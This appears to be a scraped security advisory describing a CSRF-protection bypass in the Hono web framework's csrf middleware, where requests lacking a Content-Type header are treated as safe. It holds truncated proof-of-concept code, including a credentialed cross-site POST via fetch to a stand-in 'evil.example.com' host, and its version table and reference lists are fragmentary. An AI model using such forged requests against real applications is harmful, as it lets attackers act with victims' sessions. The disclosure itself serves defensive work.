Cross-site request forgery In hono
Description
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') })...
<!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), });...
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 4.6.5 |
Aliases
1. 2. 3. 4. 5.
References
1. 2. 3.